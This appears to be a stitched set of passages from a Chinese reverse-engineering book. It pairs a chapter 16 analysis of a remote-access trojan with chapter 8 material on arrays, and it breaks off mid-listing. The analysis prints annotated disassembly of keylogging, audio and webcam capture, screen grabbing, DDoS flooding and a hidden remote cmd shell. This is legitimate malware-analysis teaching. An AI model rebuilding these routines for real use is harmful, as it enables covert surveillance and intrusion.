.text:00402A33 add esp, 58h .text:00402A36 retn .text:00402A37 mov g_isLoad, 1 ; 修改内存加载标志 .text:00402A45 mov eax, [esp+64h+arg_8] .text:00402A49 mov ecx, dword_4098B0 .text:00402A4F push eax .text:00402A50 push ecx .text:00402A51 call get_proc_address ; 调用函数遍历导出表获取插件导出函数地址模拟APIGetProcAddress功能 如代码清单16-5所示经过分析发现该病毒为了隐秘地运行插件的核心恶意代码先从远程服务器下载插件动态库然后动态申请内存模拟系统PE装载流程将恶意代码加载进内存最后通过自己模拟的GetProcAddress函数调用动态库的导出函数且该病毒对动态库文件格式做了加密修改了PE文件的前2个字节导致IDA无法解析。"},
    {"text": "代码清单16-6 语音监控代码片段 DllAudio函数实现代码 .text:10008DA0 sub esp, 1D0h .text:10008DA6 call ds:waveInGetNumDevs ; 获取音频输入设备 .text:10013B66 push 20000h ; fdwOpen .text:10013B6B push eax ; dwInstance .text:10013B6C lea edx, [esp+24h+pwfx] .text:10013B70 push ecx ; dwCallback .text:10013B71 push edx ; pwfx .text:10013B72 lea eax, [esi+18h] .text:10013B75 push 0FFFFFFFFh ; uDeviceID .text:10013B77 push eax ; phwi .text:10013B78 call edi ; waveInOpen ; 注册音频回调函数 .text:10013DFC push eax ; hwi .text:10013DFD call ds:waveInStart ; 开始录音 如代码清单16-7所示该病毒收到主控端的DDOS攻击命令会开启一个线程循环向指定服务器发送攻击数据包。 代码清单16-7 DDOS攻击代码片段 DllDdosOpen函数实现代码 .text:10007F5D push 0 ; lpThreadId .text:10007F5F push 0 ; dwCreationFlags .text:10007F61 push 0 ; lpParameter .text:10007F63 push offset sendto_proc ; lpStartAddress .text:10007F68 push 0 ; dwStackSize .text:10007F6A push 0 ; lpThreadAttributes .text:10007F6C call edi ; CreateThread ; 创建发送DDOS攻击数据的线程 .text:10007A51 push 0FFh ; namelen .text:10007A56 lea eax, [ebp+name] .text:10007A5C push eax ; name .text:10007A5D call ds:gethostname ; 获取攻击的服务器地址 .text:10007E49 lea ecx, [ebp+buf] .text:10007E4F push ecx ; buf .text:10007E50 mov edx, [ebp+s] .text:10007E53 push edx ; s .text:10007E54 call ds:sendto ; 循环发送数据到指定攻击服务器 如代码清单16-8所示该病毒使用GetLogicalDriveStrings获取当前所有驱动器根路径的剩余空间。 代码清单16-8 查看磁盘目录代码片段 DllFile函数实现代码 .text:10009E4F push eax ; lpBuffer .text:10009E50 mov [esp+790h+var_768], ecx .text:10009E54 push 100h ; nBufferLength .text:10009E59 mov [esp+794h+Src], 67h .text:10009E61 call ds:GetLogicalDriveStringsA ; 获取当前所有根驱动器路径 .text:10009EAC lea ecx, [esp+798h+FileSystemNameBuffer] .text:10009EB0 push ecx ; lpFileSystemNameBuffer .text:10009EB1 push edx ; lpFileSystemFlags .text:10009EB2 push edx ; lpMaximumComponentLength .text:10009EB3 push edx ; lpVolumeSerialNumber .text:10009EB4 push edx ; nVolumeNameSize .text:10009EB5 push edx ; lpVolumeNameBuffer .text:10009EB6 push ebp ; lpRootPathName .text:10009EB7 call ds:GetVolumeInformationA ; 获取磁盘卷信息 .text:10009F09 lea edx, [esp+794h+TotalNumberOfBytes] .text:10009F0D push 0 ; lpTotalNumberOfFreeBytes .text:10009F0F lea eax, [esp+798h+FreeBytesAvailableToCaller] .text:10009F13 push edx ; lpTotalNumberOfBytes .text:10009F14 push eax ; lpFreeBytesAvailableToCaller .text:10009F15 push ebp ; lpDirectoryName .text:10009F16 call ds:GetDiskFreeSpaceExA ; 获取磁盘剩余空间 .text:10009F55 push ebp ; lpRootPathName .text:10009F56 mov [esp+ebx+798h+Src], cl .text:10009F5D call ds:GetDriveTypeA ; 获取磁盘类型 如代码清单16-9所示该病毒创建了一个线程在线程中循环使用GetKeyState、GetAsyncKeyState API循环遍历所有键盘的虚拟键状态如果状态为按下就将按键信息保存到文件中。 代码清单16-9 键盘记录代码片段 DllKeybo函数实现代码 .text:1000B1C1 xor ebp, ebp ; 键盘表索引 .text:1000B1C3 push 10h ; nVirtKey .text:1000B1C5 call ebx ; GetKeyState ; 获取键盘虚拟键Shift的状态 .text:1000B1C7 mov esi, ss:VK_TABLE_0[ebp] ; 循环从表中获取虚拟键 .text:1000B1CD push esi ; 参数1vKey .text:1000B1CE movsx edi, ax .text:1000B1D1 call ds:GetAsyncKeyState ; 循环获取键盘虚拟键的状态 .text:1000B1D7 test ah, 80h .text:1000B1DA jz short loc_1000B24F .text:1000B1DC push 14h ; 参数1nVirtKey .text:1000B1DE call ebx ; GetKeyState ; 获取虚拟键VK_CAPITAL的状态检查键盘大写灯 .text:1000B1E0 test ax, ax .text:1000B1E3 jz short loc_1000B204 .text:1000B1E5 cmp edi, 0FFFFFFFFh .text:1000B204 push 14h ; 参数1nVirtKey .text:1000B206 call ebx ; GetKeyState ; 获取虚拟键VK_CAPITAL的状态检查键盘大写灯 .text:1000B208 test ax, ax .text:1000B20B jz short loc_1000B22B .text:1000B292 lea ecx, [esp+668h+keyboard_buf] .text:1000B296 push ecx ; 参数1记录键盘数据的缓冲区 .text:1000B297 call write_keyboard_file; 保存记录的键盘按键数据到文件中 如代码清单16-10所示该病毒通过注册表路径HKEY_CLASSES_ROOT\\Applications\\iexplore.exe\\shell\\open\\command获取浏览器的路径最后通过CreateProcessA创建浏览器进程打开主控端传递的指定url地址。"},
    {"text": "代码清单16-11 屏幕查看代码片段 DllScreen函数实现代码 .text:1000D888 call ds:GetDesktopWindow ; 获取桌面窗口句柄 .text:1000D88E push eax ; hWnd .text:1000D88F mov [esi+10Ch], eax .text:1000D895 call ds:GetDC ; 获取桌面HDC .text:1000D89B mov [esi+44h], eax .text:1000D8C9 push ebx ; nIndex,SM_CXSCREEN .text:1000D8CA mov [esi+14h], ecx .text:1000D8CD mov [esi+18h], dl .text:1000D8D0 mov [esi+24h], eax .text:1000D8D3 call edi ; GetSystemMetrics ; 获取屏幕宽度 .text:1000D8D5 push 1 ; nIndexSM_CYSCREEN .text:1000D8D7 mov [esi+4], eax .text:1000D8DA call edi ; GetSystemMetrics ; 获取屏幕高度 .text:1000D96D push ebx ; usage .text:1000D96E push eax ; lpbmi .text:1000D96F push ecx ; HDC .text:1000D970 call edi ; CreateDIBSection ; 获取桌面像素信息并截图 服务管理代码分析如代码清单16-12所示。"},
    {"text": "代码清单16-13 服务器管理代码片段 DllSerSt函数实现代码 .text:100129B8 lea eax, [esp+24h+resume_handle]; 循环开始 .text:100129BC lea ecx, [esp+24h+totalentries] .text:100129C0 push eax ; resume_handle .text:100129C1 lea edx, [esp+28h+entriesread] .text:100129C5 push ecx ; totalentries .text:100129C6 push edx ; entriesread .text:100129C7 lea eax, [esp+30h+bufptr] .text:100129CB push 0FFFFFFFFh ; prefmaxlen .text:100129CD push eax ; bufptr .text:100129CE push 2 ; filter .text:100129D0 push ebx ; level .text:100129D1 push ebx ; servername .text:100129D2 call NetUserEnum ; 遍历所有系统用户信息 .text:100129D7 cmp eax, ebx .text:100129D9 mov [esp+24h+NET_API_STATUS], eax .text:100129DD jz short loc_100129E6 .text:100129DF cmp eax, 234 ; ERROR_MORE_DATA .text:100129E4 jnz short loc_10012A29 ; 检查 .text:10012A06 push 50h ; MaxCount .text:10012A08 push ecx ; Source .text:10012A09 push eax ; Dest .text:10012A0A inc ebp .text:10012A0B add esi, 32h .text:10012A0E call ds:wcstombs ; 宽字符字符串转换为多字节字符串 .text:10012A41 cmp eax, 234 ; ERROR_MORE_DATA .text:10012A46 jz loc_100129B8 ; 循环开始 .text:10012A4C cmp edi, ebx ; 循环结束 .text:10012A4E jz short loc_10012A56 .text:10012A50 push edi ; Buffer .text:10012A51 call NetApiBufferFree ; 释放缓冲区 如代码清单16-14所示该病毒通过使用管道通信实现远程CMD并且隐藏cmd.exe进程的窗口。"},
    {"text": "代码清单16-14 远程CMD命令代码片段 DllShell函数实现代码 .text:10010CFD lea ecx, [esp+188h+att] .text:10010D01 lea ebx, [ebp+120h] .text:10010D07 push edx ; nSize .text:10010D08 lea edi, [ebp+114h] .text:10010D0E lea esi, [ebp+11Ch] .text:10010D14 push ecx ; lpPipeAttributes .text:10010D15 push ebx ; hWritePipe .text:10010D16 push edi ; hReadPipe .text:10010D49 call ds:CreatePipe ; 创建标准输出管道 .text:10010D74 lea edx, [esp+188h+att] .text:10010D78 push 0 ; nSize .text:10010D7A lea edi, [ebp+118h] .text:10010D80 push edx ; lpPipeAttributes .text:10010D81 push edi ; hWritePipe .text:10010D82 push esi ; hReadPipe .text:10010D83 call ds:CreatePipe ; 创建标准输入管道 .text:10010DDA mov [esp+188h+StartupInfo.hStdError], eax .text:10010DDE mov [esp+188h+StartupInfo.hStdOutput], eax ; 设置标准输出管道 .text:10010DE2 lea eax, [esp+188h+Buffer] .text:10010DE6 push 104h ; uSize .text:10010DEB push eax ; lpBuffer .text:10010DEC mov [esp+190h+StartupInfo.cb], 44h .text:10010DF4 mov [esp+190h+StartupInfo.wShowWindow], 0; SW_HIDE隐藏CMD窗口 .text:10010DFB mov [esp+190h+StartupInfo.dwFlags], 101h .text:10010E03 mov [esp+190h+StartupInfo.hStdInput], edx ; 设置标准输入管道 .text:10010E07 call ds:GetSystemDirectoryA ; 获取系统目录 .text:10010E0D mov edi, offset aCmdExe ; 拼接CMD的路径:\"\\\\cmd.exe\" .text:10010E40 lea ecx, [esp+18Ch+StartupInfo] .text:10010E44 lea edx, [esp+18Ch+Buffer] .text:10010E48 push ecx ; lpStartupInfo .text:10010E49 push 0 ; lpCurrentDirectory .text:10010E4B push 0 ; lpEnvironment .text:10010E4D push 20h ; dwCreationFlags .text:10010E4F push 1 ; bInheritHandles .text:10010E51 push 0 ; lpThreadAttributes .text:10010E53 push 0 ; lpProcessAttributes .text:10010E55 push 0 ; lpCommandLine .text:10010E57 push edx ; lpApplicationName .text:10010E58 call ds:CreateProcessA ; 创建cmd.exe进程 .text:1001109A mov eax, [esp+418h+BytesRead]; 循环开始 .text:1001109E test eax, eax .text:100110A0 jbe short loc_1001106F .text:100110A2 mov ecx, 100h .text:100110A7 xor eax, eax .text:100110A9 lea edi, [esp+418h+Buffer] .text:100110AD rep stosd .text:100110AF mov ecx, [esp+418h+TotalBytesAvail] .text:100110B3 push ecx ; uBytes .text:100110B4 push 40h ; uFlags .text:100110B6 call ds:LocalAlloc ; 申请空间 .text:100110BC mov ecx, [ebx+114h] .text:100110C2 mov esi, eax .text:100110C4 mov eax, [esp+418h+TotalBytesAvail] .text:100110C8 lea edx, [esp+418h+BytesRead] .text:100110CC push 0 ; lpOverlapped .text:100110CE push edx ; lpNumberOfBytesRead .text:100110CF push eax ; nNumberOfBytesToRead .text:100110D0 push esi ; lpBuffer .text:100110D1 push ecx ; hFile .text:100110D2 call ds:ReadFile ; 读取管道数据获取CMD命令执行结果 .text:100110D8 mov ecx, ebx .text:100110DA mov edx, [esp+418h+BytesRead] .text:100110DE push edx ; Size .text:100110DF push esi ; Src .text:100110E0 call send_data ; 发送数据 .text:100110E5 push esi ; hMem .text:100110E6 call ds:LocalFree ; 释放空间 .text:100110EC lea eax, [esp+418h+TotalBytesAvail] .text:100110F0 push 0 ; lpBytesLeftThisMessage .text:100110F2 lea ecx, [esp+41Ch+BytesRead] .text:100110F6 push eax ; lpTotalBytesAvail .text:100110F7 mov eax, [ebx+114h] .text:100110FD push ecx ; lpBytesRead .text:100110FE lea edx, [esp+424h+Buffer] .text:10011102 push 400h ; nBufferSize .text:10011107 push edx ; lpBuffer .text:10011108 push eax ; hNamedPipe .text:10011109 call ebp ; PeekNamedPipe ; 检测管道数据 .text:1001110B test eax, eax .text:1001110D jnz short loc_1001109A ; 跳转到循环开始 .text:1001110F jmp loc_1001106F ; 循环结束 如代码清单16-15所示该病毒通过进程快照检测是否存在一个指定的进程。"},
    {"text": "代码清单16-15 检查进程代码片段 DllSortProcessl函数实现代码 .text:10008C40 sub esp, 128h .text:10008C46 push ebx .text:10008C47 push ebp .text:10008C48 push esi ; unsigned __int8 * .text:10008C49 push edi .text:10008C4A push 0 ; th32ProcessID .text:10008C4C push 2 ; dwFlags .text:10008C4E call CreateToolhelp32Snapshot ; 创建进程快照 .text:10008CA7 pop edi .text:10008CA8 pop esi .text:10008CA9 pop ebp .text:10008CAA mov eax, 1 ; 设置返回值为TRUE .text:10008CAF pop ebx .text:10008CB0 add esp, 128h .text:10008CB6 retn .text:10008CD2 lea eax, [esp+138h+pe.szExeFile] ; 循环开始 .text:10008CD6 push eax ; unsigned __int8 * .text:10008CD7 call edi ; mbslwr进程名称转换小写 .text:10008CD9 push esi ; unsigned __int8 * .text:10008CDA call edi ; mbslwr目标进程名称转换小写 .text:10008CDC lea ecx, [esp+140h+pe.szExeFile] .text:10008CE0 push esi ; SubStr .text:10008CE1 push ecx ; Str .text:10008CE2 call ebx ; strstr检查目标进程名称是否存在 .text:10008CE4 add esp, 10h .text:10008CE7 test eax, eax .text:10008CE9 jnz short loc_10008CA7 ; 检查是否为目标进程 .text:10008CEB lea edx, [esp+138h+pe] .text:10008CEF push edx ; lppe .text:10008CF0 push ebp ; hSnapshot .text:10008CF1 call Process32Next ; 遍历下一个进程 .text:10008CF6 test eax, eax .text:10008CF8 jnz short loc_10008CD2 ; 循环开始 .text:10008CFA push ebp ; 循环结束 .text:10008CFB call ds:CloseHandle ; 关闭快照 .text:10008D01 pop edi .text:10008D02 pop esi .text:10008D03 pop ebp .text:10008D04 xor eax, eax ; 设置返回值为FALSE .text:10008D06 pop ebx .text:10008D07 add esp, 128h .text:10008D0D retn 如代码清单16-16所示该病毒通过EnumWindows遍历所有窗口检查指定的窗口是否存在。 代码清单16-16 检查窗口代码片段 DllSortWindow函数实现代码 .text:100097A0 push esi .text:100097A1 push edi .text:100097A2 mov edi, [esp+8+arg_1C] .text:100097A6 or ecx, 0FFFFFFFFh .text:100097A9 xor eax, eax .text:100097AB push 0 ; lParam .text:100097AD repne scasb ; 复制参数窗口名称 .text:100097AF not ecx .text:100097B1 sub edi, ecx .text:100097B3 push offset EnumFunc ; lpEnumFunc窗口回调函数 .text:100097B8 mov eax, ecx .text:100097BA mov esi, edi .text:100097BC mov edi, offset g_wnd_name .text:100097C1 shr ecx, 2 .text:100097C4 rep movsd .text:100097C6 mov ecx, eax .text:100097C8 and ecx, 3 .text:100097CB rep movsb ; 复制主控端传递的窗口名称到g_wnd_name .text:100097CD call ds:EnumWindows ; 遍历窗口 .text:100097D3 mov ecx, g_wnd_flag .text:100097D9 xor eax, eax .text:100097DB test ecx, ecx .text:100097DD pop edi .text:100097DE pop esi .text:100097DF setnz al ; 通过g_wnd_flag返回指定窗口是否存在 .text:100097E2 retn EnumFunc函数实现代码 .text:10008D10 sub esp, 100h .text:10008D16 push esi .text:10008D17 push edi .text:10008D18 push offset LibFileName ; \"user32.dll\" .text:10008D1D call ds:LoadLibraryA ; 动态加载user32.dll .text:10008D23 mov esi, eax .text:10008D25 push offset ProcName ; \"GetWindowTextA\" .text:10008D2A push esi ; hModule .text:10008D2B call ds:GetProcAddress ; 获取GetWindowTextA函数地址 .text:10008D31 mov edx, eax .text:10008D33 mov ecx, 3Fh .text:10008D38 xor eax, eax .text:10008D3A lea edi, [esp+108h+var_FF] .text:10008D3E mov [esp+108h+wnd_name], 0 .text:10008D43 push 254 ; 参数3缓冲区大小 .text:10008D48 rep stosd .text:10008D4A mov ecx, [esp+10Ch+arg_0] .text:10008D51 stosb .text:10008D52 lea eax, [esp+10Ch+wnd_name] .text:10008D56 push eax ; 参数2缓冲区地址 .text:10008D57 push ecx ; 参数1窗口句柄 .text:10008D58 call edx ; 调用GetWindowTextA获取窗口名称 .text:10008D5A lea edx, [esp+108h+wnd_name] .text:10008D5E push offset g_wnd_name ; unsigned __int8 * .text:10008D63 push edx ; unsigned __int8 * .text:10008D64 call ds:_mbsstr .text:10008D6A add esp, 8 .text:10008D6D test eax, eax .text:10008D6F jz short loc_10008D7B ; 检查窗口名称是否存在 .text:10008D71 mov g_wnd_flag, 1 ; 设置是否存在标志 .text:10008D7B test esi, esi .text:10008D7D jz short loc_10008D86 .text:10008D7F push esi ; hLibModule .text:10008D80 call ds:FreeLibrary ; 释放动态库 .text:10008D86 pop edi .text:10008D87 mov eax, 1 .text:10008D8C pop esi .text:10008D8D add esp, 100h .text:10008D93 retn 8 如代码清单16-17所示该病毒通过进程快照遍历进程通过EnumProcessModules函数获取进程的所有模块信息。"},
    {"text": "代码清单16-17 进程、窗口管理代码片段 DllSyste函数实现代码 .text:10011602 push 1 ; int .text:10011604 push offset Name ; \"SeDebugPrivilege\" .text:10011609 mov [esp+24Ch+hModule], esi .text:1001160D stosb .text:1001160E call adjust_token ; 调用函数调整令牌权限 .text:10011613 add esp, 8 .text:10011616 push esi ; th32ProcessID .text:10011617 push 2 ; dwFlags .text:10011619 call CreateToolhelp32Snapshot ; 创建进程快照 .text:10011669 mov ecx, [esp+24Ch+pe.th32ProcessID] ; 循环开始 .text:1001166D push ecx ; dwProcessId .text:1001166E push 0 ; bInheritHandle .text:10011670 push 410h ; dwDesiredAccess .text:10011675 call ds:OpenProcess ; 打开进程 .text:1001167B mov esi, eax .text:1001167D mov eax, [esp+24Ch+pe.th32ProcessID] .text:10011681 test eax, eax .text:10011683 mov [esp+24Ch+var_238], esi .text:10011687 jz loc_10011774 .text:1001168D cmp eax, 4 ; 忽略pid为4的进程 .text:10011690 jz loc_10011774 .text:10011696 cmp eax, 8 ; 忽略pid为8的进程 .text:10011699 jz loc_10011774 .text:1001169F lea edx, [esp+24Ch+cbNeeded] .text:100116A3 lea eax, [esp+24Ch+hModule] .text:100116A7 push edx ; lpcbNeeded .text:100116A8 push 4 ; cb .text:100116AA push eax ; lphModule .text:100116AB push esi ; hProcess .text:100116AC call EnumProcessModules ; 遍历进程模块列表 .text:100116B1 mov edx, [esp+24Ch+hModule] .text:100116B5 lea ecx, [esp+24Ch+Filename] .text:100116BC push 104h ; nSize .text:100116C1 push ecx ; lpFilename .text:100116C2 push edx ; hModule .text:100116C3 push esi ; hProcess .text:100116C4 call GetModuleFileNameExA ; 获取进程路径 .text:100116F3 push 42h ; uFlags .text:100116F5 push esi ; uBytes .text:100116F6 push ebp ; hMem .text:100116F7 call ds:LocalReAlloc ; 释放空间 .text:10011774 lea ecx, [esp+24Ch+pe] .text:10011778 push ecx ; lppe .text:10011779 push edi ; hSnapshot .text:1001177A call Process32Next ; 遍历下一个进程 .text:1001177F test eax, eax .text:10011781 jnz loc_10011669 ; 循环开始 .text:10011787 mov esi, [esp+24Ch+var_238] ; 循环结束 .text:1001178B push 42h ; uFlags .text:1001178D push ebx ; uBytes .text:1001178E push ebp ; hMem .text:1001178F call ds:LocalReAlloc .text:10011795 push 0 ; int .text:10011797 push offset Name ; \"SeDebugPrivilege\" .text:1001179C mov ebx, eax .text:1001179E call adjust_token ; 调用函数调整令牌权限 .text:100117A3 add esp, 8 .text:100117A6 push edi ; hObject .text:100117A7 mov edi, ds:CloseHandle .text:100117AD call edi ; CloseHandle ; 关闭进程快照 .text:100117AF push esi ; hObject .text:100117B0 call edi ; CloseHandle ; 关闭进程句柄 如代码清单16-18所示该病毒通过DirectShow完成视频采集DirectShow是微软基于COM的流媒体处理的开发包。 代码清单16-18 摄像头查看代码片段 DllVideo函数实现代码 .text:10001E8Blea ecx, [esp+900h+pCreateDevEnum] .text:10001E8Fpush ecx ; pCreateDevEnum .text:10001E90push offset stru_100853DC ; riidIID_ICreateDevEnum .text:10001E95push 1 ; dwClsContextCLSCTX_INPROC_SERVER .text:10001E97push ebx ; pUnkOuter .text:10001E98push offset stru_1008546C ; rclsidCLSID_SystemDeviceEnum .text:10001E9Dcall esi ; CoCreateInstance; 创建设备枚举COM对象ICreateDevEnum .text:10001EB7push ebx ; 参数40 .text:10001EB8push ecx ; 参数3保存对象的地址 .text:10001EB9mov edx, [eax] ; 获取虚表指针 .text:10001EBBpush offset stru_1008545C ; 参数2CLSID_VideoInputDeviceCategory .text:10001EC0push eax ; 参数1this指针 .text:10001EC1mov [esp+910h+var_4], ebx .text:10001EC8call dword ptr [edx+0Ch] ; 调用CreateClassEnumerator创建视频采集设备枚举COM对象 .text:10001EF4push eax ; 参数1:this指针 .text:10001EF5mov ecx, [eax] .text:10001EF7call dword ptr [ecx+14h] ; 调用IEnumMoniker->Reset .text:10001EFAmov eax, [esp+900h+pEnum] .text:10001EFElea ecx, [esp+900h+var_8C4] .text:10001F02push ecx .text:10001F03lea ecx, [esp+904h+pMoniker2] .text:10001F07mov edx, [eax] .text:10001F09push ecx ; 参数3保存对象的地址 .text:10001F0Apush 1 ; 参数21 .text:10001F0Cpush eax ; 参数1this指针 .text:10001F0Dcall dword ptr [edx+0Ch] ; 调用IEnumMoniker->Next获取 ; IMoniker接口循环枚举 .text:10001F19mov eax, [esp+904h+pMoniker2] .text:10001F1Dlea ecx, [esp+904h+var_8D4] .text:10001F21push ecx .text:10001F22push offset unk_100854DC .text:10001F27mov edx, [eax] .text:10001F29push ebx .text:10001F2Apush ebx .text:10001F2Bpush eax .text:10001F2Ccall dword ptr [edx+36] ; 调用IMoniker->BindToStorage"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 8.1 数组在函数内 在函数内定义数组时如果无其他声明该数组即为局部变量拥有局部变量的所有特性。"},
    {"text": "数组中的数据存储在内存中是线性连续的数据排列顺序由低地址到高地址数组名称表示该数组的首地址如 int ary[5] = {12345}; 此数组为5个int类型数据的集合其占用的内存空间大小为sizeof数据类型×数组中元素个数即4×5=20字节。"},
    {"text": "代码清单8-1 数组与局部变量对比Debug版 // C++ 源码 #include <stdio.h> int main(int argc, char* argv[]) { int ary[5] = {1, 2, 3, 4, 5}; int n1 = 1; int n2 = 2; int n3 = 3; int n4 = 4; int n5 = 5; return 0; } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 sub esp, 2Ch 00401006 mov eax, ___security_cookie 0040100B xor eax, ebp 0040100D mov [ebp-4], eax 00401010 mov dword ptr [ebp-18h], 1 ;ary[0]=1 00401017 mov dword ptr [ebp-14h], 2 ;ary[1]=2 0040101E mov dword ptr [ebp-10h], 3 ;ary[2]=3 00401025 mov dword ptr [ebp-0Ch], 4 ;ary[3]=4 0040102C mov dword ptr [ebp-8], 5 ;ary[4]=5 00401033 mov dword ptr [ebp-1Ch], 1 ;n1=1 0040103A mov dword ptr [ebp-20h], 2 ;n2=2 00401041 mov dword ptr [ebp-24h], 3 ;n3=3 00401048 mov dword ptr [ebp-28h], 4 ;n4=4 0040104F mov dword ptr [ebp-2Ch], 5 ;n5=5 00401056 xor eax, eax 00401058 mov ecx, [ebp-4] 0040105B xor ecx, ebp 0040105D call @__security_check_cookie@4 ; __security_check_cookie(x) 00401062 mov esp, ebp 00401064 pop ebp 00401065 retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码优化略 //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 sub rsp, 48h 000000014000100D mov rax, cs:__security_cookie 0000000140001014 xor rax, rsp 0000000140001017 mov [rsp+30h], rax 000000014000101C mov dword ptr [rsp+18h], 1 ;ary[0]=1 0000000140001024 mov dword ptr [rsp+1Ch], 2 ;ary[1]=2 000000014000102C mov dword ptr [rsp+20h], 3 ;ary[2]=3 0000000140001034 mov dword ptr [rsp+24h], 4 ;ary[3]=4 000000014000103C mov dword ptr [rsp+28h], 5 ;ary[4]=5 0000000140001044 mov dword ptr [rsp], 1 ;n1=1 000000014000104B mov dword ptr [rsp+4], 2 ;n2=2 0000000140001053 mov dword ptr [rsp+8], 3 ;n3=3 000000014000105B mov dword ptr [rsp+0Ch], 4 ;n4=4 0000000140001063 mov dword ptr [rsp+10h], 5 ;n5=5 000000014000106B xor eax, eax 000000014000106D mov rcx, [rsp+30h] 0000000140001072 xor rcx, rsp ;StackCookie 0000000140001075 call __security_check_cookie 000000014000107A add rsp, 48h 000000014000107E retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码优化略 在代码清单8-1中连续定义的是同一类型的变量这一点和数组相同。"},
    {"text": "00401000 push ebp 00401001 mov ebp, esp 00401003 sub esp, 30h 00401006 mov eax, ___security_cookie 0040100B xor eax, ebp 0040100D mov [ebp-4], eax 00401010 mov dword ptr [ebp-18h], 1 00401017 mov dword ptr [ebp-14h], 2 0040101E mov dword ptr [ebp-10h], 3 00401025 mov dword ptr [ebp-0Ch], 4 0040102C mov dword ptr [ebp-8], 5 00401033 mov byte ptr [ebp-19h], 41h ;n1=’A’ 00401037 movss xmm0, ds:dword_40D150 0040103F movss dword ptr [ebp-24h], xmm0 ;n2=1.0f 00401044 mov eax, 1 00401049 mov [ebp-20h], ax ;n3=1 0040104D mov dword ptr [ebp-28h], 2 ;n4=2 00401054 movsd xmm0, ds:qword_40D158 0040105C movsd qword ptr [ebp-30h], xmm0 ;n5=2.0f 00401061 xor eax, eax 00401063 mov ecx, [ebp-4] 00401066 xor ecx, ebp 00401068 call @__security_check_cookie@4 ;__security_check_cookie(x) 0040106D mov esp, ebp 0040106F pop ebp 00401070 retn 从以上代码可以看出每一次为局部变量赋值时的类型都不同根据此特征即可判断出这些局部变量不是数组中的元素。"},
    {"text": "数组中的各项元素应为同一类型数据以此便可区分局部变量与数组。 对于数组的识别应判断数据在内存中是否连续且类型一致均符合则可将此段数据视为数组。"},
    {"text": "IDA下的标号var_18为常量-18执行“esp+1Ch+var_18”后访问的地址值最小因此这里为数组的首地址。 双击标号“var_18”定位到标号定义处在IDA下单击此标号按键盘“*”键以标号“var_18”所标示的地址为数组首地址每个数组元素以4字节大小向后解释5个数据作为数组元素如图8-2所示。 图8-2 使用IDA标识数据元素 解释数据成功后选取标号“var_18”并使用“N”键将标号重新命名为“ary”。"},
    {"text": "两个内存间的数据传递需要借用寄存器而每个寄存器一次可以保存4或者8字节的数据如果以单字节的方式复制就会浪费3或者7字节的空间而且多次数据传递也会降低执行效率所以编译器采用4或者8个字节的复制方式如代码清单8-2所示。"},
    {"text": "代码清单8-2 将字符数组初始化为字符串Debug版片段1 //C++源码 #include <stdio.h> int main(int argc, char* argv[]) { char s[] = \"Hello World\"; return 0; } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 sub esp, 10h 00401006 mov eax, ___security_cookie 0040100B xor eax, ebp 0040100D mov [ebp-4], eax 00401010 mov eax, dword ptr ds:aHelloWorld ;eax=\"Hell\" 00401015 mov [ebp-10h], eax 00401018 mov ecx, dword ptr ds:aHelloWorld+4 ;ecx=\"o Wo\" 0040101E mov [ebp-0Ch], ecx 00401021 mov edx, dword ptr ds:aHelloWorld+8 ;edx=\"rld\\0\" 00401027 mov [ebp-8], edx 0040102A xor eax, eax 0040102C mov ecx, [ebp-4] 0040102F xor ecx, ebp 00401031 call @__security_check_cookie@4 ; __security_check_cookie(x) 00401036 mov esp, ebp 00401038 pop ebp 00401039 retn //x86_gcc对应汇编代码讲解 00401510 push ebp 00401511 mov ebp, esp 00401513 and esp, 0FFFFFFF0h 00401516 sub esp, 10h 00401519 call ___main 0040151E mov dword ptr [esp+4], 6C6C6548h ;\"Hell\" 00401526 mov dword ptr [esp+8], 6F57206Fh \"o Wo\" 0040152E mov dword ptr [esp+0Ch], 646C72h \"rld\\0\" 00401536 mov eax, 0 0040153B leave 0040153C retn //x86_clang对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 push esi 00401004 sub esp, 18h 00401007 mov eax, [ebp+0Ch] 0040100A mov ecx, [ebp+8] 0040100D xor edx, edx 0040100F mov dword ptr [ebp-8], 0 00401016 mov esi, dword ptr ds:aHelloWorld ;esi=\"Hell\" 0040101C mov [ebp-14h], esi 0040101F mov esi, dword ptr ds:aHelloWorld+4 ;esi=\"o Wo\" 00401025 mov [ebp-10h], esi 00401028 mov esi, dword ptr ds:aHelloWorld+8 ;esi=\"rld\\0\" 0040102E mov [ebp-0Ch], esi 00401031 mov [ebp-18h], eax 00401034 mov eax, edx 00401036 mov [ebp-1Ch], ecx 00401039 add esp, 18h 0040103C pop esi 0040103D pop ebp 0040103E retn //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 push rsi 000000014000100A push rdi 000000014000100B sub rsp, 28h 000000014000100F mov rax, cs:__security_cookie 0000000140001016 xor rax, rsp 0000000140001019 mov [rsp+10h], rax 000000014000101E lea rax, [rsp] 0000000140001022 lea rcx, aHelloWorld ;\"Hello World\" 0000000140001029 mov rdi, rax 000000014000102C mov rsi, rcx 000000014000102F mov ecx, 0Ch 0000000140001034 rep movsb ;没有优化使用循环复制 0000000140001036 xor eax, eax 0000000140001038 mov rcx, [rsp+10h] 000000014000103D xor rcx, rsp ;StackCookie 0000000140001040 call __security_check_cookie 0000000140001045 add rsp, 28h 0000000140001049 pop rdi 000000014000104A pop rsi 000000014000104B retn //x64_gcc对应汇编代码讲解 0000000000401550 push rbp 0000000000401551 mov rbp, rsp 0000000000401554 sub rsp, 30h 0000000000401558 mov [rbp+10h], ecx 000000000040155B mov [rbp+18h], rdx 000000000040155F call __main 0000000000401564 mov rax, 6F57206F6C6C6548h ;rax=\"Hello Wo\" 000000000040156E mov [rbp-0Ch], rax 0000000000401572 mov dword ptr [rbp-4], 646C72h ;\"rld\\0\" 0000000000401579 mov eax, 0 000000000040157E add rsp, 30h 0000000000401582 pop rbp 0000000000401583 retn //x64_clang对应汇编代码讲解 0000000140001000 sub rsp, 20h 0000000140001004 xor eax, eax 0000000140001006 mov dword ptr [rsp+1Ch], 0 000000014000100E mov [rsp+10h], rdx 0000000140001013 mov 